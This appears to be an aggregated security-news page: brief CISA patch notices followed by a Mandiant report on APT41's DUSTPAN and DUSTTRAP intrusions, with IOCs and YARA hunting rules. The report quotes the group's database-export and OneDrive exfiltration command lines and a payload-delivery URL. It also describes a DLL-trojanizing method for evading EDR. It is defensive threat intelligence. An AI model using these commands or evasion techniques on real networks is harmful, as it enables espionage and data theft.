Oracle released its quarterly Critical Patch Update Advisory for July 2024 to address vulnerabilities in multiple products. A cyber threat actor could exploit some of these vulnerabilities to take control of an affected system.
CISA encourages users and administrators to review the following Oracle Critical Patch Update Advisory and apply the necessary updates:
Cisco released security updates to address vulnerabilities in Cisco software. A cyber threat actor could exploit some of these vulnerabilities to take control of an affected system.
CISA encourages users and administrators to review the following advisories and apply necessary updates:
Ivanti released security updates to address vulnerabilities in Ivanti Endpoint Manager (EPM) and Ivanti Endpoint Manager for Mobile (EPMM). A cyber threat actor could exploit some of these vulnerabilities to take control of an affected system.
CISA encourages users and administrators to review the following Ivanti advisories and apply the necessary updates:
Digital transformation presents Germany, at a national level, with both enormous opportunities and immense challenges. While artificial intelligence (AI) has the potential to revolutionize almost all industries and open new growth markets, bureaucratic hurdles and hesitant digitalization in the public sector are often obstacles. Data integrity as the foundation for successful AI applications The quality […]
Der Beitrag Bureaucracy and innovation: Germany’s path to the digital future erschien zuerst auf Link 11 - We protect better.
Written by: Mike Stokkel, Pierre Gerlings, Renato Fontana, Luis Rocha, Jared Wilson, Stephen Eckels, Jonathan Lepore
Executive Summary
Recently, Mandiant became aware of an APT41 intrusion where the malicious actor deployed a combination of ANTSWORD and BLUEBEAM web shells for persistence. These web shells were identified on a Tomcat Apache Manager server and active since at least 2023. APT41 utilized these web shells to execute certutil.exe to download the DUSTPAN dropper to stealthily load BEACON.
As the APT41 intrusion progressed, the group escalated its tactics by deploying the DUSTTRAP dropper. Upon execution, DUSTTRAP would decrypt a malicious payload and execute it in memory, leaving minimal forensic traces. The decrypted payload was designed to establish communication channels with either APT41-controlled infrastructure for command and control or, in some instances, with a compromised Google Workspace account, further blending its malicious activities with legitimate traffic. The affected Google Workspace accounts have been successfully remediated to prevent further unauthorized access.
Furthermore, APT41 leveraged SQLULDR2 to export data from Oracle Databases, and used PINEGROVE to systematically and efficiently exfiltrate large volumes of sensitive data from the compromised networks, transferring to OneDrive to enable exfiltration and subsequent analysis.
Figure 1: Attack path diagram of observed APT41 attack
VictimologyIn collaboration with Google's TAG, Mandiant notified multiple additional organizations across various sectors that have been compromised by this campaign. The organizations impacted by this campaign originated from a diverse range of countries spanning multiple continents, including:
An analysis of victim organizations within specific sectors reveals a notable geographic distribution. Nearly all targeted organizations operating in the shipping and logistics sector were located in Europe and the Middle East, with a single exception. In contrast, all affected organizations within the media and entertainment sector were located in Asia.
A significant portion of the victimized organizations within the shipping and logistics sector maintained operations across multiple continents, often as subsidiaries or affiliates of larger multinational corporations operating within the same industry.
Mandiant has detected reconnaissance activity directed towards similar organizations operating within other countries such as Singapore. At the time of the publication, neither Mandiant nor Google TAG have any indicators of these organizations being compromised by APT41, but it could potentially indicate an expanded scope of targeting.
Figure 2: Sectors impacted by APT41’s DUSTTRAP campaigns in 2024
APT41APT41 is a prolific cyber threat group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity that may be outside of state control. The group's financially motivated intrusions have primarily targeted the video game industry, involving activities such as stealing source code and digital certificates, manipulating virtual currencies, and attempting to deploy ransomware. APT41 is unique among tracked China-based actors in that it utilizes non-public malware typically reserved for espionage operations in activities that appear to fall outside the scope of state-sponsored missions.
The group's espionage operations have targeted sectors such as healthcare, high-tech, and telecommunications, and other areas of economic interest. APT41 has frequently used software supply chain compromises, where they inject malicious code into legitimate software updates. They also employ advanced techniques like the use of bootkits and compromised digital certificates. The group's consistent targeting of the video game industry for personal gain is believed to have contributed to the development of tactics later used in their espionage operations.
For additional information on APT41, refer to the following links:
DUSTPAN is an in-memory dropper written in C/C++ that decrypts and executes an embedded payload. Different variations of DUSTPAN may also load an external payload off disk from a hard-coded file path encrypted in the Portable Executable (PE) file. DUSTPAN may be configured to inject the decrypted payload into another process or create a new thread and execute it within its own process space.
Previously used by APT41 in several 2021 and 2022 breaches, DUSTPAN resurfaced in a recent investigation. This time, APT41 disguised DUSTPAN as a Windows binary by executing the malicious file as w3wp.exe or conn.exe. Additionally, the DUSTPAN samples were made persistent via Windows services; for example, one of the services was called Windows Defend.
The DUSTPAN samples were configured to load BEACON payloads into memory that were encrypted using chacha20. The BEACON payloads, once executed, communicated using either self-managed infrastructure hosted behind Cloudflare or utilized Cloudflare Workers as their command-and-control (C2) channels. BEACON configuration can be found in the Indicators of Compromise section.
DUSTTRAPDUSTTRAP is a multi-stage plugin framework with multiple components. DUSTTRAP begins with a launcher (Stage 1) that AES-128-CFB decrypts an encrypted on-disk PE file <varies>.dll.mui and executes it in memory. Decryption relies on the target machine's HKLM\SOFTWARE\Microsoft\Cryptography\MachineGUID, thereby keying the launcher to the victim system. The decrypted PE from the launcher is a memory-only dropper (Stage 2) that is responsible for decrypting an embedded configuration and two or more embedded plugin dynamic-link libraries (DLLs) from its .lrsrc section. Once executed, these DLLs begin the setup of the modular plugin system. The first observed plugin (Stage 3) is responsible for low-level network setup and encryption. The second observed plugin (Stage 4) is responsible for higher-level network operations and may function as a downloader for additional plugins that, when loaded, may register themselves with prior components in the execution chain for additional functionality. We've observed the second plugin to vary in functionality and more plugin variants likely exist.
Plugin loading is performed by trojanizing a legitimate system DLL from %windir% with a sufficiently large .text section to hold the contents of each plugin. To trojanize the target DLL, the dropper will generate a new file on disk at %windir%\Microsoft.NET\assembly\GAC_MSIL\System.Data.Trace\
v4.0_4.0.0.0__b0<hex_uuid>\<original_module_name>.dll or %programdata%\Microsoft.NET\System.Data.Trace\v4.0_4.0.0.0__b0<hex_uuid>\<original_module_name>.dll. The malicious plugin code is only present in the .text section of this file long enough to call ZwCreateSection, loading the trojanized malicious plugin code into memory. Before the trojanized file is closed, the original contents of the .text section are restored on disk. This is an evasion technique that will bypass endpoint detection and response (EDR) solutions that scan for malicious contents on file close. The malicious code may therefore not be present in the file depending on when it was quarantined. During the trojanization process, the system time may be written to a log file at <filetime>.log and acquire the mutex ICMzUEkdLNayBdWF, though mutex names will likely vary from host to host.
The following legitimate DLLs are blocklisted from being trojanized:
cfgmgr32.dll combase.dll cryptbase.dll cryptsp.dll dhcpcsvc.dll dhcpcsvc6.dll dnsapi.dll FWPUCLNT.DLL gdi32.dll gdi32full.dll iertutil.dll imm32.dll IPHLPAPI.DLL kernel.appcore.dll kernel32.dll KernelBase.dll locale.nls msvcp_win.dll msvcrt.dll mswsock.dll NapiNSP.dll nlaapi.dll nsi.dll ntdll.dll ntmarta.dll oleaut32.dll OnDemandConnRouteHelper.dll pnrpnsp.dll powrprof.dll advapi32.dll apphelp.dll bcrypt.dll bcryptprimitives.dll profapi.dll rasadhlp.dll rpcrt4.dll rsaenh.dll sechost.dll SHCore.dll shell32.dll shlwapi.dll sspicli.dll ucrtbase.dll urlmon.dll user32.dll userenv.dll webio.dll win32u.dll windows.storage.dll winhttp.dll wininet.dll winnlsres.dll winnsi.dll winrnr.dll winsta.dll ws2_32.dll wshbth.dll Wtsapi32.dllThe section objects created by the Stage 2 dropper for each trojanized plugin are appended to a linked list in the droppers process and executed in memory. The dropper and each plugin perform a registration process with each other so that stages 2, 3, and 4 rely on each other and cooperatively call into and out of each other to handle the operation each is responsible for. Execution between all of these components is accomplished via Windows fiber-based task event loop driven by Stage 2. Additional plugins may be registered and executed via this plugin framework.
We've observed at least 15 plugins with the higher-level themes of:
Figure 3: Full execution flow of DUSTTRAP
SQLULDR2SQLULDR2 is a command-line utility written in C/C++ that can be used to export the contents of a remote Oracle database to a local text-based file. There are multiple command-line parameters available to specify the details of the data export including but not limited to: query, user, rows, and text.
APT41 exported data from Oracle Databases to CSV formats with the following command:
C:\ProgramData\luldr\luldr\sqluldr.exe user=<USER>@<SYSTEM>:1521/ <DATABASE> charset=utf8 safe=yes head=yes text=csv rows=50000000 batch=yes query=<SQL QUERY> file=<OUTPUT>.csvFigure 4: Command line execution for SQLULDR2
PINEGROVEDuring the intrusion, Mandiant observed APT41 leveraging PINEGROVE for their data exfiltration. PINEGROVE is a command-line uploader written in Go with functionality to collect and upload a file to OneDrive via the OneDrive API. PINEGROVE expects an authentication JSON file including relevant OneDrive credentials and the target file to upload.
C:\Programdata\One.exe -c C:\ProgramData\auth.json -s <Filename>Figure 5: Command line execution for PINEGROVE
PINEGROVE is a publicly available tool and has been made available on Github.
Code Signing CertificatesThe DUSTTRAP malware and its associated components that were observed during the intrusion were code signed with presumably stolen code signing certificates. One of the code signing certificates seemed to be related to a South Korean company operating in the gaming industry sector.
Serial Number: 6f:97:f1:3d:a5:5e:9f:70:a6:92:7e:d1:b3:3e:ee:ee Signature Algorithm: sha256WithRSAEncryption Issuer: C = US, O = "thawte, Inc.", CN = thawte SHA256 Code Signing CA Validity Not Before: Feb 21 00:00:00 2019 GMT Not After : Apr 21 23:59:59 2022 GMT Subject: C = KR, ST = SEOUL, L = Gangnam-gu, O = CCR INC, OU = IT Team, CN = CCR INCFigure 6: Code signing certificate abused by APT41
Serial Number: 05:fa:8a:72:da:46:07:4f:de:1e:34:c7:46:61:ee:00 Signature Algorithm: sha256WithRSAEncryption Issuer: C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert SHA2 Assured ID Code Signing CA Validity Not Before: Jul 15 00:00:00 2020 GMT Not After : Aug 31 12:00:00 2022 GMT Subject: C = RU, L = Moscow, O = OOO ALEAN-TOUR, CN = OOO ALEAN-TOURFigure 7: Code signing certificate abused by APT41
Additionally, Mandiant observed an additional DUSTTRAP sample on VirusTotal that was code signed with a certificate from another South Korean gaming company. This same certificate was previously observed by Mandiant in 2020 being used by UNC3914, which is suspected to be another Chinese-nexus threat actor. Note that neither Mandiant nor TAG see any direct relation between UNC3914 and APT41 at the time of writing.
Serial Number: 0a:2c:bf:9b:18:fe:1b:20:b9:4e:ca:c4:b0:78:b8:c1 Signature Algorithm: sha256WithRSAEncryption Issuer: C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert SHA2 Assured ID Code Signing CA Validity Not Before: Nov 12 00:00:00 2020 GMT Not After : Jan 17 23:59:59 2023 GMT Subject: C = KR, ST = Seoul, L = Gangnam-gu, O = Gala Lab Corp., CN = Gala Lab Corp.Figure 8: Code signing certificate abused by APT41
The use of the code signing certificate, as well as its suspected owners being companies in the gaming sector, aligns with APT41's tactics, techniques, and procedures (TTPs) and past campaigns. More details about this can be found in our APT41 report.
AcknowledgementWe would like to thank Google’s TAG, our Incident Response consultants and FLARE who enabled this research. Additionally, we want to thank Mnemonic for reaching out to Mandiant to share their observations.
MITRE ATT&CKTACTIC
ID
Name
Description
Reconnaissance
T15931.002
Search Open Websites/Domains: Search Engines
APT41 was observed using search engines in visiting victim's reachable servers.
Reconnaissance
T1594
Search Victim-Owned Websites
APT41 was observed visiting victim-owned infrastructure that was externally reachable and observed in internet scan data.
Collection
T1560.001
Archive via Utility
APT41 was observed using rar to compress the data they downloaded from internal Oracle Databases.
Command and Control
T1071.001
Web Protocols
APT41 was observed using HTTPS for the communication as C2 for their malware.
Exfiltration
T1567.002
Exfiltration to Cloud Storage
APT41 was observed using OneDrive for the exfiltration of staged data.
Persistence
T1543.003
Create or Modify System Process: Windows Service
APT41 was observed creating a Windows Service to achieve persistency
Persistence
T1574.001
DLL Search Order Hijacking
APT41 abused DLL search order hijacking to execute DUSTTRAP by using benign and malicious code-signed Windows binaries.
Persistence
T1574.002
DLL Side-Loading
APT41 abused DLL sideloading to execute DUSTTRAP by using the AhnLab uninstaller.
Defense Evasion
T1070.004
File Deletion
APT41 deleted files from the system after they were done using them. This was observed after APT41 created database dumps and exfiltrated the files.
Defense Evasion
T1036.005
Match Legitimate Name or Location
APT41 used legitimate Windows names and locations to trojanize binaries
Defense Evasion
T1027.013
Encrypted/Encoded File
APT41 leveraged AES-128-CFB for the encryption of the payloads that should be loaded by DUSTTRAP.
Persistence
T1505.003
Server Software Component: Web Shell
APT41 was observed using web shells to drop and execute DUSTPAN.
Execution
T1569.002
Service Execution
APT41 was observed using Windows services to execute DUSTPAN binaries.
Indicators of CompromiseA GTI Collection is available for all the samples that are publicly available.
Host-Based IndicatorsFilename
MD5
Family
sqluldr.exe
fcff642268898fcf65702a214aefbf9e
SQLULDR2
OneDriveUploader.exe
ac125aea0b703de37980779599438b4a
PINEGROVE
aclui.dll
17d0ada8f5610ff29f2e8eaf0e3bb578
DUSTPAN
dbgeng.dll
9991ce9d2746313f505dbf0487337082
DUSTTRAP
dbgeng.dll
c33247bc3e7e8cb72133e47930e6ddad
DUSTTRAP
hostfxr.dll
cfce85548436fb89a83bf34dc17f325d
DUSTTRAP
dbgeng.dll
e98b9e21928252332edf934f3d18ac21
DUSTTRAP
dbgeng.dll
8222352a61eacca3a1c6517956aa0b55
DUSTTRAP
-
dc725f5e9b1ae062fbec86ee4d816b45
DUSTTRAP
Sbiedll.dll
d72f202c1d684c9a19f075290a60920f
DUSTTRAP
atstrust.dll
393065ef9754e3f39b24b2d1051eab61
DUSTTRAP
-
0e74285f3359393e57f5d49c156aca47
DUSTTRAP
conn.exe
35f650c94faf6a2068e8238dd99edbea
DUSTPAN
PrintWorkflowUserSvc_
a0c15f9d.dll / cbi.dll
3bb44c0dd7f424864d76d4df09538cb6
DUSTPAN
dbgeng.dll
aca5c6daecf463012a09564764584937
DUSTTRAP
-
336a0d6f8cc92bf9740ce17de600463b
DUSTTRAP
-
6bc4a92ff4d2cfc9da91ae6a5d2ad3d5
DUSTTRAP
-
a689e182fe33b9d564dddc35412ea0a7
DUSTTRAP
-
e4a4aafb49b8c86a5ac087ae342c0ee6
DUSTTRAP
-
e584119a4766e6cf49093c666965c8be
DUSTTRAP
-
f1769ad5a9dc44794895275c656ed484
DUSTTRAP
Network-Based IndicatorsValue
Family
Comment
ns2[.]akacur[.]tk
BEACON
-
ns1[.]akacur[.]tk
BEACON
-
orange-breeze-66bb[.]tezsfsoikdvd[.]workers[.]dev
BEACON
-
www[.]eloples[.]com
DUSTTRAP
First observed at 2024-02-21Last observed at 2024-07-16
95.164.16[.]231
-
Related to DUSTTRAP FQDN www[.]eloples[.]com
152.89.244[.]185
-
Used to deliver DUSTPAN
First activity observed at 2023-03-21
hxxp://152.89.244[.]185/conn.exe
-
Used to deliver DUSTPAN
First activity observed at 2023-03-21
YARA and YARA-L Rules YARA rule M_Hunting_Certificate_Gala_lab_corp { meta: author = "Mandiant" description = "Rule looks for PEs signed using likely stolen certificate issued for Gala Lab corp" disclaimer = "This rule is meant for hunting and is not tested to run in a production environment." strings: $org = "Gala Lab Corp." $serial = { 0A 2C BF 9B 18 FE 1B 20 B9 4E CA C4 B0 78 B8 C1 } condition: ((uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0xE011CFD0 and uint32(4) == 0xE11AB1A1)) and #org > 1 and $serial } rule M_Hunting_Certificate_CCR_INC { meta: author = "Mandiant" description = "Rule looks for PEs signed using likely stolen certificate issued for CCR INC" disclaimer = "This rule is meant for hunting and is not tested to run in a production environment." strings: $org = "CCR INC" $serial = { 6F 97 F1 3D A5 5E 9F 70 A6 92 7E D1 B3 3E EE EE } condition: ((uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0xE011CFD0 and uint32(4) == 0xE11AB1A1)) and #org > 1 and $serial } rule M_Hunting_Certificate_ALEAN_TOUR { meta: author = "Mandiant" description = "Rule looks for PEs signed using likely stolen certificate issued for ALEAN-TOUR" disclaimer = "This rule is meant for hunting and is not tested to run in a production environment." strings: $org = "OOO ALEAN-TOUR" $serial = { 05 FA 8A 72 DA 46 07 4F DE 1E 34 C7 46 61 EE 00 } condition: ((uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0xE011CFD0 and uint32(4) == 0xE11AB1A1)) and #org > 1 and $serial } rule M_Hunting_Uploader_PINEGROVE_1 { meta: author = "Mandiant" description = "Hunting for PINEGROVE uploader malware family." disclaimer = "This rule is meant for hunting and is not tested to run in a production environment." strings: $s1 = "Config: `%v`" ascii $s2 = "auth.json" ascii $s3 = "sp=%v%v%x" ascii $s4 = "Time: %v" ascii $s5 = "/me/drive/root" ascii $s6 = "OneDrive" ascii fullword $s7 = "microsoft.graph.driveItemUploadableProperties" ascii $s8 = "client_id=%v&client_secret=%v" ascii $s9 = "http://localhost/onedrive-login" ascii condition: ( ((uint32(0) == 0xcafebabe) or (uint32(0) == 0xfeedface) or (uint32(0) == 0xfeedfacf) or (uint32(0) == 0xbebafeca) or (uint32(0) == 0xcefaedfe) or (uint32(0) == 0xcffaedfe)) or (uint32(0) == 0x464c457f) or (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) ) and (6 of them) } rule M_Hunting_Uploader_PINEGROVE_2 { meta: author = "Mandiant" description = "Hunting for PINEGROVE uploader malware family." disclaimer = "This rule is meant for hunting and is not tested to run in a production environment." strings: $f1 = "main.AllFiles" ascii $f2 = "main.Collect" ascii $f3 = "main.ConfigInit" ascii $f4 = "main.ConfigRead" ascii $f5 = "main.ConfigSave" ascii $f6 = "main.ConfigUpdate" ascii $f7 = "main.Exit" ascii $f8 = "main.FileRange" ascii $f9 = "main.FileReader" ascii $f10 = "main.FileStatus" ascii $f11 = "main.FormatRemoteFilePath" ascii $f12 = "main.GetFileName" ascii $f13 = "main.GetReomtePath" ascii $f14 = "main.Header" ascii $f15 = "main.init.0" ascii $f16 = "main.InitFile" ascii $f17 = "main.IsFolder" ascii $f18 = "main.main" ascii $f19 = "main.PreLoad" ascii $f20 = "main.Range2Int" ascii $f21 = "main.RemainTime" ascii $f22 = "main.SessionCreate" ascii $f23 = "main.ShowBar" ascii $f24 = "main.StringChecker" ascii $f25 = "main.Task" ascii $f26 = "main.TaskFail" ascii $f27 = "main.ThreadUpload" ascii $f28 = "main.Timer" ascii $f29 = "main.TimeUnix" ascii $f30 = "main.Upload" ascii $f31 = "main.Upload.func1" ascii $f32 = "main.Uploading" ascii $version = "go1.13.1" condition: ( ((uint32(0) == 0xcafebabe) or (uint32(0) == 0xfeedface) or (uint32(0) == 0xfeedfacf) or (uint32(0) == 0xbebafeca) or (uint32(0) == 0xcefaedfe) or (uint32(0) == 0xcffaedfe)) or (uint32(0) == 0x464c457f) or (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) ) and $version and (25 of ($f*)) } rule M_Hunting_Uploader_PINEGROVE_3 { meta: author = "Mandiant" description = "Hunting for PINEGROVE uploader malware family." disclaimer = "This rule is meant for hunting and is not tested to run in a production environment." strings: $s1 = "RefreshToken" $s2 = "RefreshInterval" $s3 = "ThreadNum" $s4 = "BlockSize" $s5 = "SigleFile" $s6 = "MainLand" $s7 = "MSAccount" $anchor1 = "driveItemUploadableProperties" $anchor2 = "client_id" $anchor3 = "client_secret" $anchor4 = "onedrive-login" $anchor5 = "authorization_code" condition: ( ((uint32(0) == 0xcafebabe) or (uint32(0) == 0xfeedface) or (uint32(0) == 0xfeedfacf) or (uint32(0) == 0xbebafeca) or (uint32(0) == 0xcefaedfe) or (uint32(0) == 0xcffaedfe)) or (uint32(0) == 0x464c457f) or (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) ) and (5 of ($s*)) and (4 of ($anchor*)) } import "elf" rule M_Hunting_Utility_Linux_SQLULDR2_1 { meta: author = "Mandiant" description = "Detection of the Linux version of SQLULDR2." disclaimer = "This rule is meant for hunting and is not tested to run in a production environment." strings: $name = "sqluldr2zip.c" ascii $out = "uldrdata.%p.txt" ascii $heading = "SQL*UnLoader: Fast Oracle Text Unloader" ascii $p1 = "exec = the command to execute the SQLs" ascii $p2 = "file = output file name(default: uldrdata.txt)" ascii $p3 = "format = MYSQL: MySQL Insert SQLs, SQL: Insert SQLs" ascii $p4 = "text = output type (MYSQL, CSV, MYSQLINS, ORACLEINS, FORM, SEARCH)" ascii $p5 = "rows = print progress for every given rows (default, 1000000)" ascii $p6 = "query = select statement" ascii $p7 = "user = username/password@tnsname" ascii condition: (uint32(0) == 0x464c457f) and $name and $out and $heading and (5 of ($p*)) and for any i in (0 .. elf.symtab_entries): (elf.symtab[i].name == "OCIServerAttach") and for any i in (0 .. elf.symtab_entries): (elf.symtab[i].name == "OCISessionBegin") } import "pe" import "elf" rule M_Hunting_Utility_SQLULDR2_1 { meta: author = "Mandiant" description = "Detection of SQLULDR2." disclaimer = "This rule is meant for hunting and is not tested to run in a production environment." strings: $win_name = "sqluldr2.exe" ascii $elf_name = "sqluldr2zip.c" ascii $out = "uldrdata.%p.txt" ascii $heading = "SQL*UnLoader: Fast Oracle Text Unloader" ascii $p1 = "exec = the command to execute the SQLs" ascii $p2 = "file = output file name(default: uldrdata.txt)" ascii $p3 = "format = MYSQL: MySQL Insert SQLs, SQL: Insert SQLs" ascii $p4 = "text = output type (MYSQL, CSV, MYSQLINS, ORACLEINS, FORM, SEARCH)" ascii $p5 = "rows = print progress for every given rows (default, 1000000)" ascii $p6 = "query = select statement" ascii $p7 = "user = username/password@tnsname" ascii $import = "OCI.dll" ascii condition: (((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and pe.imports("OCI.dll","OCIServerAttach") and pe.imports("OCI.dll","OCISessionBegin") and $import and $win_name and for all of ($p*) : ( @ > @heading )) or ((uint32(0) == 0x464c457f) and $elf_name and for any i in (0 .. elf.symtab_entries): (elf.symtab[i].name == "OCIServerAttach") and for any i in (0 .. elf.symtab_entries): (elf.symtab[i].name == "OCISessionBegin"))) and $out and $heading and (5 of ($p*)) } rule M_Hunting_Dropper_DUSTTRAP_1 { meta: author = "Mandiant" description = "Detects the DUSTTRAP dropper (x64) based on the use of CFG patching constants and argument construction for payload entry-point" disclaimer = "This rule is meant for hunting and is not tested to run in a production environment." strings: $cfg_patch_constant_1 = { 48 FF E0 CC 90 } $cfg_patch_constant_2 = { 8B DA 48 8B F9 E8 } $cfg_patch_constant_3 = { B8 48 8B 00 00 66 39 02 } $cfg_patch_constant_4 = { 81 7A 07 48 8B D1 48 } $log_format = "%lld.log" wide condition: uint16(0) == 0x5a4d and all of ($cfg_patch_constant_*) and $log_format } import "pe" rule M_Hunting_DUSTPAN_CryptKeys { meta: author = "Mandiant" description = "Attempts to detect executables containing known DUSTPAN encryption keys within the .data section" disclaimer = "This rule is meant for hunting and is not tested to run in a production environment." strings: $key_1 = {3BCF741BF6411C087415BA340000004C8D05F28 C0000488B4910E801F0FEFFB8} $key_2 = {C4498BD6488BCFE848A5000084C07564488BCFE 8585C0000498B0F4C8B497045} $key_3 = {A24299055F1F0C14CBDD0B01DFA64C34F5FD033 CA7F1AF30A0C75C57359D41E0} condition: filesize < 15MB and for any i in (0..pe.number_of_sections - 1): ( pe.sections[i].name == ".data" and any of ($key_*) in (pe.sections[i].raw_data_offset.. pe.sections[i].raw_data_offset + pe.sections[i].raw_data_size) ) } import "pe" rule M_HUNTING_DUSTTRAP_PayloadFile { meta: author = "Mandiant" description = "Detects executables containing a .lrsrc section which may represent DUSTTRAP payloads" disclaimer = "This rule is meant for hunting and is not tested to run in a production environment." condition: for any i in (0..pe.number_of_sections - 1): ( uint32(pe.sections[i].raw_data_offset + 0) == 0x100 and pe.sections[i].raw_data_size > uint32 (pe.sections[i].raw_data_offset + 0) and pe.sections[i].name == ".lrsrc" and uint32(pe.sections[i].raw_data_offset + 4) < 0x1000 and uint32(pe.sections[i].raw_data_offset + 8) < 4 ) } YARA-LIf you are a Google SecOps Enterprise+ customer, rules were released to your Emerging Threats rule pack, and IOCs listed in this blog post are available for prioritization with Applied Threat Intelligence.
Relevant Rules